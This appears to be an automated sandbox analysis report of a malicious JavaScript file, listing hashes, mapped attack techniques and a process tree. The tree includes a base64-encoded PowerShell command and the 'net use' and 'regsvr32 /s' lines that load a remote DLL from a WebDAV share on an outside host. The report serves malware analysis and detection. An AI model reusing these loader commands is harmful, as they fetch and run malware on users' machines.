Analysis

  • max time kernel
    140s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/07/2024, 16:22

General

  • Target

    cb18ef5e8d800e281e2055d23106f42e5468c3a49cae982fb38de822e5182c2e.js

  • Size

    12KB

  • MD5

    637251487d60e2b86824d1dc5a58bb72

  • SHA1

    c70f199eb9d796b3160c12bf93a58969f75f34bf

  • SHA256

    cb18ef5e8d800e281e2055d23106f42e5468c3a49cae982fb38de822e5182c2e

  • SHA512

    b9fd14caefbb5558d0ee8123b8e33564f258903c59fd8baf3e84eb08c1f633d2df22b78d86fbefd4ab09b30a1afc675a638e53a3cf73b09ead911e04c847c029

  • SSDEEP

    192:rk+IpGal6qj2H4LWhgKBhnUehyO/nvuw08g5cBQhrcBg2fXtIIC8XhvplctWhUEL:rk+cGkDxGxL

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\cb18ef5e8d800e281e2055d23106f42e5468c3a49cae982fb38de822e5182c2e.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5028
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADIANgA1ADIAMgAyADgANwAxADQAMQAzADkANwAyAC4AZABsAGwA
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5012
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:3516
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\265222871413972.dll
          3⤵
            PID:4636

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5s3gtepa.w0b.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/5012-0-0x00007FFB84C93000-0x00007FFB84C95000-memory.dmp

              Filesize

              8KB

            • memory/5012-6-0x0000020434430000-0x0000020434452000-memory.dmp

              Filesize

              136KB

            • memory/5012-11-0x00007FFB84C90000-0x00007FFB85751000-memory.dmp

              Filesize

              10.8MB

            • memory/5012-12-0x00007FFB84C90000-0x00007FFB85751000-memory.dmp

              Filesize

              10.8MB

            • memory/5012-15-0x00007FFB84C90000-0x00007FFB85751000-memory.dmp

              Filesize

              10.8MB